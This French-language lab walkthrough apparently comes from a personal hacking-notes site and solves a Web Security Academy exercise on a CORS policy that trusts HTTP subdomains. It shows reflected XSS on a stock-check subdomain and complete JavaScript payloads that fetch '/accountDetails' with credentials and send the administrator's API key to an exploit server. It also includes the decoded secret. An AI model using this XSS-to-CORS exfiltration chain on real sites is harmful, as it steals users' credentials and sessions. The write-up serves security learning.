> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS avec protocoles non sécurisés approuvés

### Vulnérabilité CORS avec des protocoles non sécurisés approuvés

Le site a une configuration CORS vulnérable : il fait confiance à tous **les sous-domaines**, même lors de l'utilisation de **HTTP**. L'objectif est de récupérer la clé API de l'administrateur via CORS et de l'exfiltrer vers le serveur d'exploitation.

Identifiants fournis : `wiener:peter`.Le site a une configuration CORS vulnérable : il fait confiance à tous **les sous-domaines**, même lors de l'utilisation de **HTTP**. L'objectif est de récupérer la clé API de l'administrateur via CORS et de l'exfiltrer vers le serveur d'exploitation.

Identifiants fournis : `wiener:peter`.

#### Observations

* Le domaine racine est accepté dans **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/4c06947ee6bdefaf9b65e1b35c6a90e91a41e313" alt=""><figcaption></figcaption></figure>

**Sous-domaines** en HTTP sont également acceptés :

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/56435d315f86a0510164dc7c04aaf84c64b95589" alt=""><figcaption></figcaption></figure>

Sous-domaine identifié via stockcheck :

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/39756b012ec0c654b9fcff79303c99776f866333" alt=""><figcaption></figcaption></figure>

Cet élément reflète `productId` → \*\* injection HTML/JS\*\* possible :

```html
?productId=test&storeId=1
```

<figure><img src="/files/d1b9dc7702d3d196b0b6f07cf29151f05c39edbd" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/d50b851fea1d1d3f0c9171100f0a6751c30bc723" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b2a4ef94c95c3c6b49755ee8a5042b44b431a344" alt=""><figcaption></figcaption></figure>

#### Exploitation : lecture de `/accountDetails` et exfiltration

Script XHR utilisé (envoyé via le sous-domaine) :

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Injecter le script dans le `productId` paramètre du sous-domaine vulnérable :

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Rediriger vers l'URL à exploiter avec la `apiKey` variable contenant la réponse encodée.

<figure><img src="/files/279ebe3ac84a77675ba161d440bd9f09ed73ef4a" alt=""><figcaption></figcaption></figure>

#### Charge utile envoyée à la victime (version encodée en URL)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* Réception de la clé API sur le serveur à exploiter via le `apiKey` paramètre.

<figure><img src="/files/d7358c1b6fe5ffd144eb2d6d583efbf2ba276629" alt=""><figcaption></figcaption></figure>

* Décodage effectué avec :

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/b8624fc76d9e169198ee2f21bb407d775662e8fd" alt=""><figcaption></figcaption></figure>


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